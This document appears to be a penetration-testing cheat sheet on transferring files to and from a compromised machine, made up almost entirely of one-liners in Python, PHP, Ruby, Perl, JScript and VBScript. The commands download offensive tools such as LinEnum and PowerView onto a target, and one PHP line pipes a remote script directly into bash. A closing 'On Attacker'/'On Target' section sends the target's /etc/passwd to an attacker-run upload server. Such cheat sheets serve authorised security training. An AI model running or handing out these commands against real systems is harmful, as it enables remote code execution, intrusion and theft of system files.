# Transferring Files with Code

## Python

```bash
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

```bash
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

## PHP

### **PHP Download with File\_get\_contents()**

```bash
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

### **PHP Download with Fopen()**

```bash
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

### **PHP Download a File and Pipe it to Bash**

```bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

{% hint style="info" %}
The URL can be used as a filename with the @file function if the fopen wrappers have been enabled
{% endhint %}

## Ruby

```bash
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

## **Perl**

```bash
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

## Javascript

The following JavaScript code is based on [this](https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-curl/373068) post, and we can download a file using it. We'll create a file called `wget.js` and save the following content:

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file.

```batch
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

## VBScript

The following VBScript example can be used based on [this](https://stackoverflow.com/questions/2973136/download-a-file-with-vbs). We'll create a file called `wget.vbs` and save the following content:

```visual-basic
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

We can use the following command from a Windows command prompt or PowerShell terminal to execute our VBScript code and download a file.

```batch
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
```

***

## Upload Operations using Python3

On Attacker:

```bash
python3 -m uploadserver 
```

On Target:

```bash
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```